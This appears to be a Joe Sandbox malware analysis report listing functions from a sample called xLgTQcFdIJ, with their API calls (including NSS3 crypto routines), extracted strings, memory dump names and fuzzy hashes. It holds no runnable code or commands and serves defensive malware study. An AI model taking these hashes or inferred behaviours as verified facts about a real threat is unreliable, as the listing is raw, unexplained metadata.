Instruction ID: 53cc3c192cf3f0b8553079c3b9831d6236397efc4a83699197ab53cf729bcbdc
Opcode Fuzzy Hash: 71551e695a0caf509547d065f2a667422435cc09d56db0d1c7835a16714f6d9a
Instruction Fuzzy Hash: 43010075E45308BBEB14DFA4DC45F9E7779AB44B00F104556FB05BA2C0D670AA009B55

Function 6C84CDC0 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 423stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C84D086
PR_Malloc.NSS3(00000001), ref: 6C84D0B9
PR_Free.NSS3(?), ref: 6C84D138

Strings

>, xrefs: 6C84CF5B

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: FreeMallocstrlen
String ID: >
API String ID: 1782319670-325317158
Opcode ID: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction ID: f3ea521609454f6c4c4f2a6c39990ec86ec034ec4880d690b7eddcebf87e3ed3
Opcode Fuzzy Hash: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction Fuzzy Hash: 1DD16D62B4154E8BEB34487CCEA13E9B7978742374F58CB2BD5219BBE6E6198847C301

Function 00413970 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100comCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE(0041E120,00000000,00000001,0041E110,00000000), ref: 004139A8
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000104), ref: 00413A00

Strings

,<A, xrefs: 0041398D, 00413AE4, 00413AE7

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID: ,<A
API String ID: 123533781-3158208111
Opcode ID: 6035193581f456c28db8c3dbbb17385d9df3aded10c54e768140ce262fc94c92
Instruction ID: 4ceafe5fcd3fa6382eb1302e1b13d25b09f52af09297020757b8d8bc714daff3
Opcode Fuzzy Hash: 6035193581f456c28db8c3dbbb17385d9df3aded10c54e768140ce262fc94c92
Instruction Fuzzy Hash: A8410670A00A28AFDB24DF58CC95BDBB7B5AB48302F4041D9E608E7290E7B16EC5CF50

Function 6C7EAD50 Relevance: 6.4, APIs: 4, Instructions: 389COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 78a8ee7fedfcb35e38f4ac8ffe8a476e7f1dbcabb42463924a90f7a140273e69
Instruction ID: f429481c72016a56d388f87fee51e0a9ebdf5a2ccec711934d4776c1df08c669
Opcode Fuzzy Hash: 78a8ee7fedfcb35e38f4ac8ffe8a476e7f1dbcabb42463924a90f7a140273e69
Instruction Fuzzy Hash: E1F1CA76E062168BEB24CF6CCA403A97BB4BB8B30CF154639C905DBB50E770A951CBC5

Function 6C7A0E20 Relevance: 6.3, APIs: 2, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,00000000,00000000,00000000), ref: 6C7A1052
memset.VCRUNTIME140(-0000001C,?,?,00000000), ref: 6C7A1086

Strings

h(zl, xrefs: 6C7A1062, 6C7A105D, 6C7A0F37, 6C7A1081, 6C7A1082
h(zl, xrefs: 6C7A0E55, 6C7A0EC4, 6C7A0F3A, 6C7A0FA7

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: memcpymemset
String ID: h(zl$h(zl
API String ID: 1297977491-1901523914
Opcode ID: 0ae8b0ae3ab0187293b6e3972ee468a6d311359f130d62f222888fa8cb0ef916
Instruction ID: 90b376f153da38e3da4e762005e82e06b5379aa84262a2c747b390e0306c876c
Opcode Fuzzy Hash: 0ae8b0ae3ab0187293b6e3972ee468a6d311359f130d62f222888fa8cb0ef916
Instruction Fuzzy Hash: FAA13D71B0124A9FDF08CF99C994AEEBBB6BF8C314B148529E915A7700D735EC12CB90

Function 6C6B3D80 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 164COMMON

Download Yara Rule

APIs

htonl.WSOCK32(00000000), ref: 6C6B3EA9

Strings

0, xrefs: 6C6B3DAB

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: htonl
String ID: 0
API String ID: 2009864989-4108050209
Opcode ID: 9b719e79fc25d111ed76ba34c5ca579e120f09afe020f814dc27c84b14108882
Instruction ID: 18f1b78bfff0d277be42787bb78d45e9a40f10173157c9fe45b0124f442e921b
Opcode Fuzzy Hash: 9b719e79fc25d111ed76ba34c5ca579e120f09afe020f814dc27c84b14108882
Instruction Fuzzy Hash: 8E513831F490798BEB15867C88603FFBBB19B82314F19433BD6A17BAC0CA34455B8798

Function 6C75EE70 Relevance: 3.2, APIs: 2, Instructions: 223COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C75F019
PK11_GenerateRandom.NSS3(?,00000000), ref: 6C75F0F9

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: ErrorGenerateK11_Random
String ID:
API String ID: 3009229198-0
Opcode ID: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction ID: 429c9d0997647ea7987c732cbf6a6e0a9cba80e2c29007a191fd50ed9cfbf6ba
Opcode Fuzzy Hash: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction Fuzzy Hash: A691A071A0071A8BCB14CF68C9906AEB7F1FF85324F64462DD966A7BC1DB30A915CB90

Function 6C6CAC60 Relevance: 2.7, Strings: 2, Instructions: 181COMMON

Download Yara Rule

Strings

winUnlockReadLock, xrefs: 6C6CAE9F
winUnlock, xrefs: 6C6CAE18

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID:
String ID: winUnlock$winUnlockReadLock
API String ID: 0-3432436631
Opcode ID: 3e9957bf157093f01ddd97e32cd15ed3f98d43abcab2ecde90a084bdc8bb8ddb
Instruction ID: 7c0aa1933475ce25b917d5dd6f022c967863c1ecd7830b218cb10b0e777994d5
Opcode Fuzzy Hash: 3e9957bf157093f01ddd97e32cd15ed3f98d43abcab2ecde90a084bdc8bb8ddb
Instruction Fuzzy Hash: AB7182746042409FDB24CF28D884AAABBF5FF8A318F14C628F95997601D730A985CBD6

Function 6C78ED70 Relevance: 1.7, APIs: 1, Instructions: 217memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C), ref: 6C78EE3D

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: Alloc_ArenaUtil
String ID:
API String ID: 2062749931-0
Opcode ID: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction ID: 6fe7d6f233fd1c015064ec6646365d9f0eab19cbcd48749807560908c54ad05b
Opcode Fuzzy Hash: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction Fuzzy Hash: 6A71D276E027098FE718CF59CA8066AB7F2BB88304F15863DE95697B91D730E940CB90

Function 6C6C4DB0 Relevance: 1.6, Strings: 1, Instructions: 318COMMON

Download Yara Rule

Strings

winUnlockReadLock, xrefs: 6C6C5125

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID:
String ID: winUnlockReadLock
API String ID: 0-4244601998
Opcode ID: 75d6c3d93c2c1bc23d1572aef3b9aaae60e901130175f7a41412cc2807697e4a
Instruction ID: 9da18aedc24d39d901003106d014ffc43a8ffce13caad99062ad68e3a26acc78
Opcode Fuzzy Hash: 75d6c3d93c2c1bc23d1572aef3b9aaae60e901130175f7a41412cc2807697e4a
Instruction Fuzzy Hash: E4E13B74A193408FDB14DF28D48866ABBF0FF8A308F11862DF89997651E770D985CBC6

Function 00418CF0 Relevance: 1.6, APIs: 1, Instructions: 60timeCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

GetSystemTime.KERNEL32(?,02F71008,004205B6,?,?,?,?,?,?,?,?,?,004049B3,?,00000014), ref: 00418D16

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: SystemTimelstrcpy
String ID:
API String ID: 62757014-0
Opcode ID: cce225ff94706f9395c058c90c0b5c4f8768ee8627e86dd20290b192b3a29a40
Instruction ID: 470bfa94025adedc24e37c5607c38d4270d2eadb7b78e810e6eac55b0552b998
Opcode Fuzzy Hash: cce225ff94706f9395c058c90c0b5c4f8768ee8627e86dd20290b192b3a29a40
Instruction Fuzzy Hash: 1211D331D011089FCB04EFA9D891AEE77BAEF58314F44C05EF41667185EF386984CBA6

Function 0041D21A Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0001D1D8), ref: 0041D21F

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 8b874fd89f0884f437ce1ddba4ceeb6b336b4db7298e80d3acb37d3ef468addd
Instruction ID: 17ba3a89fab13532ca0ccd526d59b343203315732a49a137553a0870c120f9dd
Opcode Fuzzy Hash: 8b874fd89f0884f437ce1ddba4ceeb6b336b4db7298e80d3acb37d3ef468addd
Instruction Fuzzy Hash: B19002F465151096860457755C4D5857A905E8D64675185A1AC06D4054DBA840409529

Function 6C7FDCD0 Relevance: .4, Instructions: 371COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eda96441799889b4f1d0ad04f7decd880bbab8d4d4556bcd3f06981f9ea52269
Instruction ID: 22fa17c61379b160e91062525323cabc8d6380313db5754d2f8614a78b6ae306
Opcode Fuzzy Hash: eda96441799889b4f1d0ad04f7decd880bbab8d4d4556bcd3f06981f9ea52269
Instruction Fuzzy Hash: 9DF13875A012058FDB08CF19C5C4BAA77B2BF89318F298178D8299B751CB35ED42CBE5

Function 6C791DC0 Relevance: .3, Instructions: 345COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5cf8dc963f7f79db549299581b4ae9ef430c02c880e9910e3ec163e0518b33a5
Instruction ID: e00bdbf39076523fc892d22d85a6c12f7c4c6d7814057f6085c32ed08d98b5df
Opcode Fuzzy Hash: 5cf8dc963f7f79db549299581b4ae9ef430c02c880e9910e3ec163e0518b33a5
Instruction Fuzzy Hash: 89D17832E056568BDB118E18D9853DA7B73AB85328F1E8328CC641B7C6C37BE915C7D1

Function 6C800C40 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 178cfce085ef13bf8b0638649aa297e212655f7d195b29b371c91d77f8bea391
Instruction ID: 9501111d16f94576ba9ae9cf263c321dd8e94ac5ef1c0cf04cf41c750bb5bd1f
Opcode Fuzzy Hash: 178cfce085ef13bf8b0638649aa297e212655f7d195b29b371c91d77f8bea391
Instruction Fuzzy Hash: 3911C1747043458FCB20DF18C88066A77A1FF85368F148479D8198B701DB31E806CBA0

Function 6C800D60 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction ID: 5105bf828cf7cf102442f6286401f07fae92915340298e1d3d402de52e394052
Opcode Fuzzy Hash: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction Fuzzy Hash: 3CE0923A303054A7DB248E49C950AA97359DF8261AFB4897DCC5D9FA01DB33F803C7A1

Function 00419AA0 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 6C761D60 Relevance: 84.2, APIs: 1, Strings: 47, Instructions: 210COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3( rv = %s,CKR_FUNCTION_REJECTED,?,6C761D46), ref: 6C762345

Strings

CKR_OPERATION_CANCEL_FAILED, xrefs: 6C761F77
CKR_OPERATION_ACTIVE, xrefs: 6C7622B8
CKR_OBJECT_HANDLE_INVALID, xrefs: 6C76204D
CKR_WRAPPING_KEY_SIZE_RANGE, xrefs: 6C762327
CKR_BUFFER_TOO_SMALL, xrefs: 6C762183
CKR_NEXT_OTP, xrefs: 6C76222F
CKR_STATE_UNSAVEABLE, xrefs: 6C762037
CKR_DEVICE_REMOVED, xrefs: 6C762261
CKR_TEMPLATE_INCOMPLETE, xrefs: 6C761F95
CKR_MUTEX_BAD, xrefs: 6C761F49
CKR_TOKEN_NOT_PRESENT, xrefs: 6C761F81
CKR_INFORMATION_SENSITIVE, xrefs: 6C7622B1
CKR_MUTEX_NOT_LOCKED, xrefs: 6C762225
CKR_DOMAIN_PARAMS_INVALID, xrefs: 6C762015
CKR_CRYPTOKI_ALREADY_INITIALIZED, xrefs: 6C76227F
CKR_OK, xrefs: 6C761DFC
CKR_RANDOM_SEED_NOT_SUPPORTED, xrefs: 6C7622FF
CKR_SAVED_STATE_INVALID, xrefs: 6C761E56
CKR_FUNCTION_CANCELED, xrefs: 6C761E73
CKR_PIN_INCORRECT, xrefs: 6C761D92
CKR_CURVE_NOT_SUPPORTED, xrefs: 6C762179
CKR_WRAPPED_KEY_INVALID, xrefs: 6C761FB5
CKR_WRAPPING_KEY_HANDLE_INVALID, xrefs: 6C762320
CKR_NEW_PIN_MODE, xrefs: 6C761E9F
CKR_TOKEN_WRITE_PROTECTED, xrefs: 6C761DE0
CKR_DEVICE_ERROR, xrefs: 6C76229D
CKR_PIN_EXPIRED, xrefs: 6C76206B
